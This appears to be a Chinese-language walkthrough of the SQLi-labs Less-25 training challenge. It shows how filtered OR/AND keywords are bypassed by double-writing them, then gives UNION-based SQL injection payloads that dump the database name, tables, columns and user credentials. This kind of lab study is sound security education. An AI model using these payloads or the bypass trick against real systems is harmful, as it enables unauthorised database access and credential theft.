首先注入正常的参数,网页回显正常的信息。使用单引号来闭合,网页回显报错信息。
?id=1'
使用 “–+” 注释掉后面的内容后回显正常,说明此处是单引号闭合的字符型注入。 构造条件时,我们发现网页回显报错,根发现 “OR” 不见了。
id=1' OR 1 = 1--+
使用 “AND” 进行注入时,网页也报错,“AND” 运算符也不见了。 由此可见此处网页对我们传入的参数进行了过滤 “OR” 和 “AND” 运算被过滤了。 根据之前学的绕过方法,我们使用双鞋绕过试试 具体的方式为在被过滤的字符串中间再次书写一次该字符串。例如在构造恒真条件时,我们在 “OR” 中间再插入一个 “OR”,变成 “OORR”。当网页对传入的参数进行过滤时,该字符串中间的 “OR” 会被过滤掉,但是字符串剩余的部分也构成了一个 “OR” 运算符,此时的参数就注入成功了。
Less 25 的注入过程和 Less 1 的完全一样,但是 Less 25 开始对 “OR” 和 “AND” 2 个字符串进行过滤,此时我们可以使用双写绕过来应对这种过滤。
id=1' OorR 1 = 1--+
id=1' AandND 1 = 1--+
id=1' ANandD 1 = 1--+
?id=1' ORDER BY 3--+
?id=1' OorRDER BY 4--+
?id=-1' UNION SELECT 1,2,3--+ #判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。
?id=-1' UNION SELECT 1,database(),3--+ #爆数据库名
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+
?id=-1' UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+ #爆出 users 表中的信息。
查看源代码发现 SQL 查询语句和之前的没什么差别。但是参数 id 在被查询时,先经过了 blacklist() 函数,该函数使用正则表达式对 “AND” 和 “OR” 进行了过滤。
|